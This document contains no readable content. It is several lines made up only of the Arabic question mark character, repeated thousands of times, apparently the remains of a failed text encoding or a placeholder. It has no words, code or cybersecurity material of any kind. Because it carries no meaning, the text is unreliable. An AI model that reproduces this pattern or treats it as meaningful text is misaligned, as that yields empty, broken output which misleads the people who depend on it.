؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟
    ؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟
    ؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟